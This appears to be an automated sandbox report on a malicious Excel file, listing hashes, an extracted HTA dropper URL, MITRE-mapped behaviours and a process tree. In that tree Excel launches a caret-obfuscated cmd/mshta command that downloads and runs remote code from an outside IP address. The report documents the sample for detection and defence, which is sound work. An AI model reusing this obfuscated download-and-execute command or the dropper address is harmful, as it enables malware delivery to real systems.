b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa

General

Target

b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa.xls
Size

101KB
MD5

e1971894e94e0c29a57248a2940d7d4d
SHA1

12640bcd639513cbaf5f698b5c8069a874d37548
SHA256

b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa
SHA512

e157531246d5254a9ccc8382c20102e0faaae61aaed823fa7a63eff8da464c147a8133945bab86d35c255c3c14a322ddf787d89435925751ac83a358d325abcf
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	440	2988	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	2164	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2988	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE
2988	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 440	2988	EXCEL.EXE	84
PID 2988 wrote to memory of 440	2988	EXCEL.EXE	84
PID 440 wrote to memory of 2164	440	cmd.exe	87
PID 440 wrote to memory of 2164	440	cmd.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
b9d3b8adfab633c1e17d57d2929e0245

SHA1
d275782b08ea30fbd92be2d5b8e06c2ce6470a3c

SHA256
5006cb476b81709027cdf104f09dac54ee46416eea197c66b0f5317a42dc1361

SHA512
cb112e0699fe8fee21dc1fb16270f4b2046e82b005f8111cd8392bc2394f0df62a9c699139f4dd9ac820198b05aaf5f03ac4ec3c9e8225a22d4354d0a2ca129f

Download Submit
memory/2988-12-0x00007FFCB4910000-0x00007FFCB4920000-memory.dmp

Filesize
64KB

Download
memory/2988-9-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-2-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

Filesize
64KB

Download
memory/2988-4-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-7-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-6-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-8-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

Filesize
64KB

Download
memory/2988-5-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

Filesize
64KB

Download
memory/2988-11-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-13-0x00007FFCB4910000-0x00007FFCB4920000-memory.dmp

Filesize
64KB

Download
memory/2988-3-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

Filesize
64KB

Download
memory/2988-10-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-1-0x00007FFCB7270000-0x00007FFCB7280000-memory.dmp

Filesize
64KB

Download
memory/2988-15-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-18-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-17-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-16-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-14-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-31-0x00007FFCF728D000-0x00007FFCF728E000-memory.dmp

Filesize
4KB

Download
memory/2988-32-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-33-0x00007FFCF71F0000-0x00007FFCF73E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-0-0x00007FFCF728D000-0x00007FFCF728E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads